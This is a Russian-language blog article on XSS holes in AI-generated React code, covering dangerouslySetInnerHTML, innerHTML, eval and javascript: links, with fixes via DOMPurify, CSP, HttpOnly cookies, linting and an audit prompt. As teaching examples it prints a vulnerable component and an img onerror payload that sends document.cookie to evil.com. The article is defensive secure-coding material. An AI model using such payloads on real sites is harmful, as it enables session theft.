Нейросеть генерирует рабочий компонент за тридцать секунд, а дыру в нем находят через полгода, когда через нее уже утекли сессионные cookie. XSS в AI-коде на React встречается чаще любой другой уязвимости: модели пишут безопасный SQL-запрос в 82% слу…
10+ лет в маркетинге, 300+ клиентских проектов: сайты, реклама, боты. Создатель GoBanana (228K+ пользователей, 11.6 млн ₽ выручки) и VibeCoderz. Делаю AI-продукты сам через Claude Code, Cursor, Windsurf и консультирую тех, кто хочет так же.
Об авторе →Claude Code: новый CLI-агент от Anthropic
Anthropic выпустила Claude Code — терминальный AI-агент для разработчиков. Инструмент работает прямо в командной строке и умеет писать, редактировать и запускать код.
Zcode AI: Полный гид по визуальному интерфейсу для Claude Code и AI-агентов
Узнайте, как использовать Zcode для управления Claude Code, Gemini и Codex в едином GUI. Настройка провайдеров, MCP-серверов и визуальный вайбкодинг.
YouTube-канал с монетизацией из любой точки мира: Пошаговый гайд 2026
Инструкция по созданию YouTube-канала: обход блокировок SMS, настройка расширенных функций через виртуальные номера и правила безопасности для монетизации.
Windsurf Code Maps: Как глубоко понимать архитектуру проекта перед написанием кода
Полный гайд по Windsurf Code Maps, модели Sway 1.5 и Sway Grep. Узнайте, как визуализировать архитектуру кода и ускорить разработку в 13 раз.
Vk Fast Cash Strategy
Аудитория ВКонтакте — это те же люди, что и в Instagram, но 'социальный контракт' площадки другой. Если Instagram — это 'дорогой ресторан' с демонстрацией успеха, то VK — это 'душевная шашлычная'. Здесь не работает глянцевый 'успешный успех
Нейросеть генерирует рабочий компонент за тридцать секунд, а дыру в нем находят через полгода, когда через нее уже утекли сессионные cookie. XSS в AI-коде на React встречается чаще любой другой уязвимости: модели пишут безопасный SQL-запрос в 82% случаев, а безопасную защиту от XSS дают только в 15%. Ниже разберем, откуда берется эта дыра в dangerouslySetInnerHTML, innerHTML и eval, как ее найти в уже написанном коде и чем закрыть без переписывания половины проекта.

XSS остается самой недооцененной уязвимостью в коде, который пишут AI-ассистенты: свежий отчет Veracode весны 2026 года фиксирует всего 15% безопасных генераций против 82-86% по SQL-инъекциям и криптографии. В статье: разбор трех главных дыр React-кода, чек-лист поиска, рабочий фикс через DOMPurify и CSP, готовый промпт для аудита фронтенда.
XSS (cross-site scripting) — это внедрение чужого JavaScript в страницу через данные, которые браузер считает безопасными. Нейросети регулярно пропускают эту дыру, потому что учились на демо-коде, где санитизация просто отсутствует.
Veracode прогнала более ста моделей на четырех классах уязвимостей и получила стабильную картину за последние два отчетных цикла. SQL-инъекции модели закрывают в 82% случаев, небезопасную криптографию в 86%, а вот с XSS справляются только в 15%. Общий балл безопасности по всем классам застрял на 56% и почти не двигается от версии к версии моделей.
Причина в природе тренировочных данных. SQL-инъекция это заученный паттерн из учебников, а XSS требует понимания контекста: откуда пришли данные, куда они попадут и что с ними сделает браузер. Модель отлично копирует синтаксис, но слабо рассуждает про такие цепочки. Разница между 82% и 15% как раз про это.
| Класс уязвимости | Доля безопасных генераций AI | Что происходит при провале |
|---|---|---|
| SQL injection | 82% | Утечка или удаление базы данных |
| Insecure cryptography | 86% | Компрометация паролей и токенов |
| XSS (CWE-79) | 15% | Кража cookie, захват сессии, дефейс страницы |
| Log injection | 13% | Подмена логов, сокрытие следов атаки |
React экранирует текст по умолчанию, но dangerouslySetInnerHTML эту защиту отключает полностью. Нейросеть тянется к нему каждый раз, когда нужно вставить HTML из API или редактора, и часто забывает про санитизацию.
Само название содержит слово "dangerously" не случайно: команда React специально сделала синтаксис громоздким, чтобы разработчик остановился и подумал. AI-ассистент такой паузы не делает. Он видит задачу "вывести форматированный текст из базы" и выбирает самый короткий путь.
// Так AI обычно решает задачу "вывести описание из API"
function ProductCard({ description }) {
return <div dangerouslySetInnerHTML={{ __html: description }} />;
}Если description пришло от пользователя, от стороннего API или даже от другой нейросети, внутри может лежать <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">. Браузер отрисует картинку, событие onerror сработает мгновенно, и скрипт отправит cookie на чужой сервер. Никакого попапа с alert для пользователя, просто тихая кража за долю секунды.
Атака Open Redirection работает похожим образом: скрипт меняет location.href и уводит пользователя на фишинговую копию сайта прямо с легитимного домена. Жертва даже не заметит подмену адресной строки, если редирект происходит быстро.
Вне React-компонентов AI так же охотно использует innerHTML в vanilla JS и изредка eval() для "динамической" логики. Оба варианта пускают чужой код прямо в контекст страницы пользователя.
Классика из практики: разработчик просит "показать комментарий пользователя на странице", и модель пишет element.innerHTML = comment. Разница с textContent кажется незначительной, но именно она отделяет текст от исполняемого кода. Один и тот же комментарий "Отличная статья!" отработает одинаково в обоих случаях, а вот <script>alert(document.cookie)</script> выполнится только через innerHTML.
Отдельно стоит вектор через URL-схемы. Атрибуты href и src, которые получают значение из пользовательского ввода, можно превратить в исполняемый код через javascript: или data:text/html схему, даже без единого тега <script> в строке. AI-код редко валидирует протокол ссылки перед вставкой, потому что задача звучала просто как "сделать ссылку кликабельной".
eval() встречается реже, но бьет сильнее: он выполняет произвольную строку как JavaScript с полным доступом к DOM и cookie. Нейросеть иногда предлагает его для "парсинга" данных или динамических вычислений там, где хватило бы JSON.parse или обычной функции. Если строка для eval хоть частично собрана из пользовательского ввода, это готовая дыра под удаленное выполнение кода в браузере жертвы.
Максим: «Мог засесть до пяти утра и просто править одну функцию, которая не работала. В моменте хотелось все бросить, но я понимал, что решить можно и нужно, чтобы идти дальше. С security-багами то же самое: не тот случай, где можно закрыть глаза и договориться с собой на потом.»

Быстрее всего искать через grep по опасным конструкциям и ESLint-правило, которое подсвечивает dangerouslySetInnerHTML прямо в редакторе. Дальше нужен ручной разбор каждого найденного места.
Первый проход занимает пять минут. Прогоните по репозиторию поиск трех строк: dangerouslySetInnerHTML, .innerHTML, eval(. Каждое совпадение это потенциальная точка входа, ее нужно проверить вручную: куда идут данные, проходят ли они через санитайзер до рендера.
Для постоянного контроля есть плагин eslint-plugin-react с правилом no-danger, которое подсвечивает dangerouslySetInnerHTML еще на этапе написания кода, до коммита. AI-ассистенты вроде Cursor и Claude Code видят предупреждения линтера в контексте и чаще предлагают безопасную альтернативу, если правило уже подключено к проекту.
Дальше идет более глубокий чек-лист:
href, src, action)eval, new Function() или setTimeout со строкой вместо функцииПравило простое: для текста используйте textContent вместо innerHTML, а если HTML действительно нужен, пропускайте его через DOMPurify перед рендером. Это закрывает подавляющее большинство реальных случаев за один рефакторинг.

DOMPurify чистит HTML на лету, вырезая опасные теги и атрибуты вроде onerror или onclick, оставляя безопасную разметку целой. Библиотека держит 3.4.x релиз и около 7 миллионов скачиваний в неделю, это фактический стандарт для клиентской санитизации в 2026 году.
import DOMPurify from 'dompurify';
function ProductCard({ description }) {
const clean = DOMPurify.sanitize(description);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}Для серверного рендера в Next.js DOMPurify тоже подходит через jsdom, но чаще для Node-окружения берут sanitize-html с явным allowlist тегов и атрибутов. Разница в подходе: DOMPurify заточен под браузер и скорость, sanitize-html под гибкую настройку разрешенного набора на сервере.

| Инструмент | Где работает | Когда выбирать |
|---|---|---|
| DOMPurify | Браузер, DOM-based | Рендер пользовательского HTML на клиенте, редакторы, markdown-превью |
| sanitize-html | Node.js, сервер | Обработка HTML перед сохранением в базу, SSR-рендер |
| textContent / setAttribute | Везде, без библиотек | Простой текст без разметки, значения атрибутов |
Для случаев без реальной необходимости в HTML самый надежный фикс это вообще убрать dangerouslySetInnerHTMLи перейти на textContent или обычный JSX с интерполяцией строки. React экранирует такую строку автоматически, и никакая библиотека не понадобится.
CSP не убирает саму уязвимость, но не дает браузеру выполнить внедренный скрипт, даже если он попал в разметку. Это второй слой защиты, который работает независимо от санитизации на фронтенде.
Заголовок Content-Security-Policy сервер отправляет вместе с ответом и указывает браузеру, откуда можно грузить скрипты, стили и другие ресурсы. Базовая директива default-src 'self' разрешает загрузку только с текущего домена и блокирует все внешнее по умолчанию.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';Ключевой момент: избегайте unsafe-inline в script-src, иначе CSP не сможет блокировать инлайновые скрипты, а именно через них чаще всего и заходит XSS. Если инлайн-скрипт действительно нужен, используйте динамические nonce или хэши вместо разрешения всех подряд. Перед полным включением политику стоит протестировать в режиме Content-Security-Policy-Report-Only, он логирует нарушения, но не блокирует ничего, пока вы не убедитесь, что легитимные ресурсы не задеты.
Настройка CSP и мониторинг нарушений обычно ложится на DevOps-часть проекта, и если у команды нет отдельного специалиста под это, можно посмотреть подборку DevOps-агентов под конкретные инфраструктурные задачи.
Флаг HttpOnly у cookie закрывает JavaScript доступ к чтению, поэтому даже успешная XSS-атака не сможет украсть сессионный токен напрямую через document.cookie.
Сервер выставляет флаг при установке cookie, и после этого браузер просто не отдает значение через JavaScript, ни document.cookie, ни любой другой API. Это не защита от самой уязвимости, а ограничение ущерба: скрипт может выполниться, но украсть авторизационный токен через cookie уже не получится.

Отдельно стоит разграничивать данные внутри cookie: то, что реально нужно фронтенду (например, флаг темы интерфейса), можно оставить читаемым, а токены авторизации, refresh-токены и любые чувствительные значения помечать HttpOnly без исключений. AI-ассистенты по умолчанию не расставляют этот флаг, потому что в промпте обычно звучит просто "сохрани сессию", без уточнения про безопасность.
Готовый промпт для регулярной проверки. Работает в Cursor, Claude Code, GitHub Copilot Chat и любом чате с доступом к файлам проекта.
Проверь фронтенд-код проекта на XSS-уязвимости. Найди все места, где:
1. Используется dangerouslySetInnerHTML без вызова санитайзера (DOMPurify, sanitize-html) непосредственно перед ним
2. Используется .innerHTML вместо textContent для вставки динамических данных
3. Используется eval(), new Function() или setTimeout/setInterval со строкой вместо функции
4. Динамические href, src или action формируются из пользовательского ввода без проверки протокола (javascript:, data:)
5. Пользовательский HTML сохраняется в базу данных без санитизации перед сохранением (stored XSS)
Для каждой находки укажи: файл и строку, источник данных (пользователь/API/другая модель),
уровень риска (critical/high/medium), готовый фикс с кодом.
Не считай санитизированным код, если DOMPurify.sanitize() вызывается не прямо перед рендером,
а где-то в середине цепочки без гарантии, что данные не изменятся после.
Проверь связанные файлы, не только текущий.Лайфхак: запускайте этот промпт после каждого крупного AI-сгенерированного PR, а не раз в квартал. Недетерминированность моделей означает, что один и тот же промпт может найти разное количество проблем от прогона к прогону, поэтому есть смысл прогнать его два-три раза на объемном коде.
Прямые вызовы API моделей проваливают XSS-тесты в 85% случаев, но независимое декабрьское исследование CSO Online по агентным инструментам (Claude Code, Cursor, Codex, Replit, Devin) не нашло ни одной эксплуатируемой XSS-дыры на тех же задачах.
Разница объясняется архитектурой. Прямой вызов модели через API получает промпт и выдает код за один проход, без ревью и без цикла исправлений. Агентные инструменты вроде Claude Code читают контекст всего проекта, могут прогнать линтер, тесты и даже собственный security-ревью перед тем как показать результат разработчику. Это не гарантия чистого кода, но заметно снижает долю дыр по сравнению с "голым" API-вызовом.
Сильная сторона AI здесь в том, что современные reasoning-модели (линейка GPT-5 с расширенным ризонингом) показывают 70-72% безопасных генераций против базовых 55%, потому что модель успевает "передумать" код перед выдачей. Слабая сторона в том, что даже 70% означает почти треть кода с известной уязвимостью, если полагаться только на модель без внешнего ревью.
Честная оговорка: ни один из этих подходов не заменяет ручную проверку критичных мест продукта. Автоматический аудит и агентные пайплайны снижают количество дыр, но не гарантируют их отсутствие, особенно в местах, где санитизация нужна не по очевидному паттерну, а по контексту конкретного продукта.
Для небольшого лендинга или MVP без пользовательского контента риск XSS минимальный: там просто нечего внедрять. Как только в проекте появляется пользовательский ввод, который рендерится другим пользователям (комментарии, профили, чаты, markdown-редакторы), аудит становится обязательным шагом перед продакшеном.
| Тип проекта | Риск XSS | Что делать |
|---|---|---|
| Лендинг, статичный контент | Низкий | Базовая гигиена, CSP как страховка |
| Личный кабинет без UGC | Средний | ESLint-правило + аудит перед релизом |
| Чат, комментарии, markdown-редактор | Высокий | DOMPurify обязательно, CSP, HttpOnly, регулярный промпт-аудит |
| Продукт с деньгами и авторизацией | Критический | Все вышеперечисленное плюс ручной пентест перед крупными релизами |
Если проект уже в продакшене и вы не уверены, сколько там таких мест, лучше прогнать промпт-аудит из этой статьи прямо сейчас, а не после первого инцидента. Обзоры инструментов для проверки кода собраны в каталоге AI IDE и инструментов, там же есть Cursor и Claude Code с разбором их встроенных проверок безопасности.
Правда ли, что React полностью защищает от XSS? Нет. React экранирует обычные строки в JSX автоматически, но dangerouslySetInnerHTML отключает эту защиту полностью. Достаточно одного такого места без санитизации, чтобы уязвимость появилась.
DOMPurify замедляет рендер на больших объемах текста? На практике нет. Библиотека спроектирована под скорость и справляется с сотнями килобайт HTML без заметной задержки. Разница ощутима только при санитизации мегабайтных документов в реальном времени.
Нужен ли CSP, если весь HTML уже проходит через DOMPurify? Да, потому что CSP это независимый второй слой. Если санитайзер пропустит новый вектор атаки, который еще не знает разработчик, CSP все равно заблокирует выполнение скрипта на уровне браузера.
Можно ли доверять коду от Claude Code или Cursor без проверки на XSS? Нет. Даже лучшие агентные инструменты снижают долю дыр, но не убирают ее полностью. Промпт-аудит из статьи и ручная проверка критичных мест обязательны перед продакшеном.
Чем отличается XSS от SQL-инъекции по сложности защиты для AI? SQL-инъекция это заученный паттерн, модели видели тысячи правильных примеров с параметризованными запросами. XSS требует понимания контекста данных, и здесь модели рассуждают заметно хуже: 15% против 82% безопасных генераций.
Что делать, если в проекте уже используется eval() для парсинга данных? В большинстве случаев его можно заменить на JSON.parse() для данных или обычную функцию для вычислений. Оставлять eval() со строкой, в которую попадает пользовательский ввод, нельзя ни при каких обстоятельствах.
Как быстро проверить один компонент на XSS без полного аудита? Найдите все места с dangerouslySetInnerHTML, .innerHTML и eval( через поиск по файлу, затем проверьте для каждого источник данных. Если данные хоть теоретически могут прийти от пользователя и не проходят через санитайзер, это дыра.
Если после аудита осталось много неясных мест или проект уже в продакшене с реальными пользователями, запишитесь на консультацию к Максиму: разберем архитектуру конкретного проекта и приоритеты по фиксам.
Обновлено: июль 2026. Данные Veracode, DOMPurify и CSO Online актуальны на дату публикации, проверяйте свежие релизы библиотек перед внедрением.